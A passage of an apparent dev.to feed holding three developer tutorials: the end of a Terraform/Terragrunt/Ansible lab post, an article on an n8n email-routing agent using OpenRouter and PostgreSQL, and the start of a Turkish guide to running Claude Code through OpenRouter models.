&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Only dev&lt;/span&gt;
ansible-playbook playbooks/provision.yml &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"target_env=dev"&lt;/span&gt;

&lt;span class="c"&gt;# Only prod&lt;/span&gt;
ansible-playbook playbooks/provision.yml &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"target_env=prod"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Idempotency test
&lt;/h3&gt;

&lt;p&gt;One of Ansible's core properties is idempotency — running the same playbook twice should produce the same result. The second run should show &lt;code&gt;changed=0&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# First run&lt;/span&gt;
ansible-playbook playbooks/provision.yml &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"target_env=dev"&lt;/span&gt;
&lt;span class="c"&gt;# → ok=10  changed=8  failed=0&lt;/span&gt;

&lt;span class="c"&gt;# Second run — nothing changes&lt;/span&gt;
ansible-playbook playbooks/provision.yml &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"target_env=dev"&lt;/span&gt;
&lt;span class="c"&gt;# → ok=10  changed=0  failed=0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;changed=0&lt;/code&gt; on the second run confirms idempotency is working.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 5: Connecting Everything — One Command to Rule Them All
&lt;/h2&gt;

&lt;p&gt;With &lt;code&gt;null_resource&lt;/code&gt; in &lt;code&gt;_base/main.tf&lt;/code&gt;, running &lt;code&gt;terragrunt apply&lt;/code&gt; automatically triggers Ansible after the EC2 instance is ready:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;terragrunt apply
    ↓
VPC created
    ↓
Security Group created
    ↓
EC2 instance running
    ↓
null_resource triggers (depends_on = [module.ec2])
    ↓
sleep 30 (wait for SSH to be ready)
    ↓
ansible-playbook runs automatically
    ↓
nginx installed, configured, running
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From a single command, you get a fully provisioned and configured server.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 6: Proving It Works — IAM Isolation &amp;amp; Drift Testing
&lt;/h2&gt;

&lt;h3&gt;
  
  
  IAM isolation
&lt;/h3&gt;

&lt;p&gt;A dev engineer should not be able to touch prod state files. We enforce this with IAM policies:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"s3:GetObject"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"s3:PutObject"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"s3:DeleteObject"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:s3:::your-tfstate-bucket/dev/*"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The dev IAM user can only read/write to &lt;code&gt;dev/*&lt;/code&gt; in S3. Attempting to write to &lt;code&gt;prod/*&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;dev-key &lt;span class="nv"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;dev-secret &lt;span class="se"&gt;\&lt;/span&gt;
  aws s3 &lt;span class="nb"&gt;cp &lt;/span&gt;test.txt s3://your-tfstate-bucket/prod/test.txt

&lt;span class="c"&gt;# An error occurred (AccessDenied) when calling the PutObject operation&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Human error blocked at the policy level.&lt;/p&gt;

&lt;h3&gt;
  
  
  Drift test
&lt;/h3&gt;

&lt;p&gt;Add a new tag to &lt;code&gt;modules/ec2/main.tf&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;tags&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;Name&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"${var.environment}-server"&lt;/span&gt;
  &lt;span class="nx"&gt;Environment&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;
  &lt;span class="nx"&gt;ManagedBy&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"terraform"&lt;/span&gt;
  &lt;span class="nx"&gt;Project&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"terraform-lab"&lt;/span&gt;    &lt;span class="c1"&gt;# new tag&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run &lt;code&gt;run-all plan&lt;/code&gt; to see the change propagated to all three environments simultaneously:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;live &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; terragrunt run-all plan

&lt;span class="c"&gt;# Plan: 0 to add, 1 to change, 0 to destroy  (dev)&lt;/span&gt;
&lt;span class="c"&gt;# Plan: 0 to add, 1 to change, 0 to destroy  (staging)&lt;/span&gt;
&lt;span class="c"&gt;# Plan: 0 to add, 1 to change, 0 to destroy  (prod)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One file changed. Three environments updated. No manual copying, no risk of forgetting one.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;p&gt;After building this from scratch, here's what actually clicked for me:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Terraform and Ansible solve different problems.&lt;/strong&gt; Terraform manages infrastructure state — "does this resource exist in AWS?" Ansible manages configuration state — "is nginx installed and running on that server?" You need both because provisioning a server and configuring it are fundamentally different concerns.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Terragrunt's value isn't magic — it's discipline.&lt;/strong&gt; The single &lt;code&gt;_base/main.tf&lt;/code&gt; enforces consistency. You can't accidentally configure staging differently from prod because there's only one source of truth. Configuration drift becomes structurally impossible rather than just unlikely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IAM policy is the last line of defense.&lt;/strong&gt; Engineers make mistakes. The &lt;code&gt;cd live/prod &amp;amp;&amp;amp; terragrunt apply&lt;/code&gt; accident will happen eventually. When it does, the question is whether your infrastructure or your IAM policy catches it first.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Idempotency is a property you verify, not assume.&lt;/strong&gt; Running the playbook twice and checking for &lt;code&gt;changed=0&lt;/code&gt; isn't just a test — it's how you know your automation is actually reliable.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;All code from this lab is available on &lt;a href="https://github.com/tahayagizguler/terraform-ansible-lab" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;. If you spot something that could be done better, I'd genuinely love to hear it in the comments.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>terraform</category>
      <category>ansible</category>
      <category>devops</category>
      <category>infrastructure</category>
    </item>
    <item>
      <title>Building an AI-Powered Email Routing Agent with N8N, OpenRouter, and PostgreSQL</title>
      <dc:creator>Taha Yağız Güler</dc:creator>
      <pubDate>Wed, 13 May 2026 12:23:13 +0000</pubDate>
      <link>https://dev.to/tahayagizguler/building-an-ai-powered-email-routing-agent-with-n8n-openrouter-and-postgresql-12ga</link>
      <guid>https://dev.to/tahayagizguler/building-an-ai-powered-email-routing-agent-with-n8n-openrouter-and-postgresql-12ga</guid>
      <description>&lt;h1&gt;
  
  
  Building an AI-Powered Email Routing Agent with N8N, OpenRouter, and PostgreSQL
&lt;/h1&gt;

&lt;p&gt;Every company has that one inbox — the shared one everyone ignores until something explodes. Emails pile up, get misrouted, or simply sit there while the wrong person tries to figure out who should handle it.&lt;/p&gt;

&lt;p&gt;I built an AI agent on N8N that solves this completely. It watches an inbox, reads every incoming email, classifies it using an LLM, routes it to the right team, and logs everything to PostgreSQL — fully automated, no human in the loop.&lt;/p&gt;

&lt;p&gt;Here's how it works.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;When customers or internal staff send emails to a shared address, someone has to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Read the email&lt;/li&gt;
&lt;li&gt;Decide which team handles it (IT, HR, Finance, Legal...)&lt;/li&gt;
&lt;li&gt;Forward it manually&lt;/li&gt;
&lt;li&gt;Hope it doesn't get lost&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is repetitive, error-prone, and doesn't scale. It's also exactly the kind of work AI is good at.&lt;/p&gt;




&lt;h2&gt;
  
  
  Architecture Overview
&lt;/h2&gt;

&lt;p&gt;The N8N workflow consists of 7 stages:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Gmail Trigger → Prepare Mail Data → LLM Chain (OpenRouter) → JS Response Parser → Switch → Team Gmail Nodes → Merge → PostgreSQL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsukgrlab8b8gw50fjd56.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsukgrlab8b8gw50fjd56.PNG" alt=" "&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 1: Gmail Trigger
&lt;/h2&gt;

&lt;p&gt;The workflow polls the inbox every minute using N8N's Gmail Trigger node. Each new email fires the pipeline automatically.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 2: Prepare Mail Data
&lt;/h2&gt;

&lt;p&gt;Before sending anything to the LLM, a Set node extracts and normalizes the key fields:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;sender&lt;/code&gt; — name + email address&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;subject&lt;/code&gt; — cleaned header&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;content&lt;/code&gt; — plain text body&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;date&lt;/code&gt; — normalized timestamp&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;mail_id&lt;/code&gt; — unique Gmail message ID&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ai_prompt&lt;/code&gt; — formatted string passed to the LLM&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Stage 3: LLM Classification via OpenRouter
&lt;/h2&gt;

&lt;p&gt;This is where the intelligence lives. I used N8N's LangChain LLM Chain node with OpenRouter as the model provider, which lets me swap between models (GPT-4o, Claude, Mistral, etc.) without changing the workflow.&lt;/p&gt;

&lt;p&gt;The system prompt instructs the model to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Classify the email into exactly one category: &lt;strong&gt;IT, HR, Finance, or Other&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Assign a priority: &lt;strong&gt;High, Medium, or Low&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Write a 3-sentence summary in the original language of the email&lt;/li&gt;
&lt;li&gt;Return a &lt;code&gt;trust_score&lt;/code&gt; between 0.0 and 1.0 indicating classification confidence&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The output is strict JSON — no markdown, no preamble, no extra fields:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"category"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Finance"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"priority"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Medium"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"summary"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Invoice #12345 payment is overdue."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"trust_score"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.87&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;trust_score&lt;/code&gt; falls below 0.70, the model is instructed to fall back to &lt;code&gt;"Other"&lt;/code&gt; rather than make a low-confidence routing decision.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 4: JS Response Parser
&lt;/h2&gt;

&lt;p&gt;LLMs occasionally wrap JSON in markdown code fences even when told not to. The Code node strips any &lt;code&gt;&lt;/code&gt;`&lt;code&gt;json&lt;/code&gt; wrappers, parses the response safely, and handles UTF-8 encoded email headers (a common issue with non-ASCII characters in subjects and sender names).&lt;/p&gt;

&lt;p&gt;If parsing fails entirely, the node returns a safe fallback object so the workflow never crashes.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 5: Switch → Team Routing
&lt;/h2&gt;

&lt;p&gt;A Switch node reads the &lt;code&gt;category&lt;/code&gt; field and routes to one of four Gmail send nodes:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Routed To&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;IT&lt;/td&gt;
&lt;td&gt;&lt;code&gt;inbox+IT@company.com&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HR&lt;/td&gt;
&lt;td&gt;&lt;code&gt;inbox+HR@company.com&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finance&lt;/td&gt;
&lt;td&gt;&lt;code&gt;inbox+FINANCE@company.com&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Other&lt;/td&gt;
&lt;td&gt;&lt;code&gt;inbox+OTHER@company.com&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Each forwarded email includes a formatted HTML body with sender, subject, date, priority, trust score, AI summary, and the original content — everything the receiving team needs to act immediately.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 6: PostgreSQL Logging
&lt;/h2&gt;

&lt;p&gt;After routing, all four branches merge and every email is logged to a &lt;code&gt;mail_routing&lt;/code&gt; table in PostgreSQL with the following schema:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Column&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mail_id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Unique Gmail message ID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sender&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;From address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;subject&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Email subject&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;date&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Received date&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;category&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AI-assigned category&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;priority&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AI-assigned priority&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;summary&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AI-generated summary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;trust_score&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Classification confidence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;direct_mail&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Original recipient address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;content&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Full email body&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This gives you a full audit trail, filterable by team, priority, or date range — useful for reporting or debugging misroutes.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;OpenRouter is a smart choice here.&lt;/strong&gt; Routing classification doesn't need GPT-4o — a smaller, cheaper model handles it well. OpenRouter lets you change models with a single config update.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trust score is underrated.&lt;/strong&gt; Rather than blindly trusting the classification, having a confidence threshold that falls back to "Other" prevents bad routes for ambiguous emails.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;UTF-8 decoding is a real issue.&lt;/strong&gt; Email headers frequently arrive encoded (e.g. &lt;code&gt;=?UTF-8?B?...?=&lt;/code&gt;). You need explicit decoding — N8N doesn't handle this automatically.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Merge before DB write.&lt;/strong&gt; All four routing branches converge at a Merge node before the PostgreSQL insert. This keeps the logging logic in one place rather than duplicating it across four branches.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;p&gt;A few improvements worth adding:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Confidence-based human escalation&lt;/strong&gt; — emails below a trust threshold trigger a Slack message asking a human to confirm routing before forwarding&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reply automation&lt;/strong&gt; — auto-acknowledge the sender with an estimated response time based on priority&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dashboard&lt;/strong&gt; — a simple Grafana view over the PostgreSQL table to visualize routing patterns and volume by team&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Wrapping Up
&lt;/h2&gt;

&lt;p&gt;This project took less than a day to build and completely eliminates manual email triage for a shared inbox. The combination of N8N's visual workflow engine, OpenRouter's model flexibility, and PostgreSQL's reliability makes for a surprisingly production-ready stack.&lt;/p&gt;

</description>
      <category>agents</category>
      <category>ai</category>
      <category>automation</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Claude Code'un Gücünü, Anthropic API Bağımlılığı Olmadan Ücretsiz Modellerle (OpenRouter) Kullanmak</title>
      <dc:creator>Taha Yağız Güler</dc:creator>
      <pubDate>Mon, 23 Mar 2026 15:40:29 +0000</pubDate>
      <link>https://dev.to/tahayagizguler/claude-codeun-gucunu-anthropic-api-bagimliligi-olmadan-ucretsiz-modellerle-openrouter-kullanmak-4fim</link>
      <guid>https://dev.to/tahayagizguler/claude-codeun-gucunu-anthropic-api-bagimliligi-olmadan-ucretsiz-modellerle-openrouter-kullanmak-4fim</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Anthropic aboneliği ödemeden Claude Code'u kullanmak mümkün mü? Evet — ve nasıl yapıldığını adım adım anlatıyorum.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Giriş: "Usage Limit Reached" Duvarına Çarpanlar İçin Kaçış Planı
&lt;/h2&gt;

&lt;p&gt;Kritik bir hatayı düzeltmeye çalışıyorsunuz. Derken Claude Code ekrana soğuk bir mesaj atıyor: "Claude usage limit reached".&lt;/p&gt;

&lt;p&gt;Tanıdık geldi değil mi?&lt;/p&gt;

&lt;p&gt;Ya da belki şu soruyla uyanıyorsunuz: &lt;em&gt;"Claude Code için aylık $20 ödemek zorunda mıyım? Başka model kullanamaz mıyım?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Evet, kullanabilirsin.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Claude Code, Anthropic API'sine bağlı bir araç değil. Arka planda hangi URL'ye istek attığını umursamıyor. O URL'yi değiştirirseniz, istekleri istediğiniz modele yönlendirebilirsiniz.&lt;/p&gt;




&lt;h2&gt;
  
  
  OpenRouter Nedir?
&lt;/h2&gt;

&lt;p&gt;OpenRouter, 400'den fazla yapay zeka modelini tek bir API üzerinden kullanmanızı sağlayan bir platform. Claude, GPT, Gemini, Llama, DeepSeek, Qwen… hepsi orada.&lt;/p&gt;

&lt;p&gt;Asıl güzelliği ise 39'dan fazla ücretsiz model barındırması. Günlük kotası sınırlı ama geliştirici projeleri, öğrenme ve yan projeler için fazlasıyla yeterli.&lt;/p&gt;




&lt;h2&gt;
  
  
  Hadi Başlayalım: 5 Dakikada Kurulum
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Adım 1 — Claude Code'u Kurun (henüz yoksa)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @anthropic-ai/claude-code
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. OpenRouter'da Ücretsiz API Anahtarı Alın
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://openrouter.ai" rel="noopener noreferrer"&gt;openrouter.ai&lt;/a&gt; adresine gidin, ücretsiz hesap ve sonrasında ayarlar kısmından API Key’inizi oluşturun.&lt;/p&gt;

&lt;h3&gt;
  
  
  Adım 3 — Ortam Değişkenlerini Ayarlayın
&lt;/h3&gt;

&lt;p&gt;Shell profil dosyanıza (&lt;code&gt;~/.zshrc&lt;/code&gt; veya &lt;code&gt;~/.bashrc&lt;/code&gt;) şu satırları ekleyin:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;ANTHROPIC_BASE_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://openrouter.ai/api"&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;ANTHROPIC_AUTH_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"sk-or-ANAHTARINIZ_BURAYA"&lt;/span&gt; &lt;span class="c"&gt;#OpenRouter API Key&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;ANTHROPIC_API_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;ANTHROPIC_API_KEY&lt;/code&gt;'i &lt;strong&gt;boş bırakmak&lt;/strong&gt; kasıtlı — bu Claude Code'un Anthropic'e değil, OpenRouter'a gitmesini sağlıyor.&lt;/p&gt;

&lt;p&gt;Ardından terminali yenileyin:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;source&lt;/span&gt; ~/.zshrc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Adım 4 — Bir Model Seçin ve Başlatın
&lt;/h3&gt;

&lt;p&gt;OpenRouter’daki &lt;a href="https://openrouter.ai/models?q=free" rel="noopener noreferrer"&gt;ücretsiz&lt;/a&gt; modelleri inceleyin. Beğendiğiniz bir modeli seçin:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;claude &lt;span class="nt"&gt;--model&lt;/span&gt; &lt;span class="s2"&gt;"openrouter-model-name"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr66bes9ph7rq051zi2sq.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr66bes9ph7rq051zi2sq.PNG" width="800" height="232"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Bu kadar. Claude Code artık OpenRouter üzerinden çalışıyor.&lt;/p&gt;




&lt;h2&gt;
  
  
  Çalıştığını Nereden Anlarım?
&lt;/h2&gt;

&lt;p&gt;Claude Code içinde /status komutunu çalıştırın. Ayrıca OpenRouter’ın Activity Dashboard’unda isteklerinizi canlı görebilirsiniz.&lt;/p&gt;

&lt;p&gt;Oturum içinde model değiştirmek isterseniz:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/model &amp;lt;model-name-here&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Dikkat Edilmesi Gereken Noktalar
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Ücretsiz modeller her zaman yeterli mi?&lt;/strong&gt;&lt;br&gt;
Kod okuma, şablon oluşturma, hata açıklama, test yazma gibi görevlerde genelde tatmin edici sonuç alırsınız. Kritik üretim işleri veya derin refaktör için premium modeller hâlâ önerimdir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Her Model Her Şeyi Yapamaz&lt;/strong&gt;&lt;br&gt;
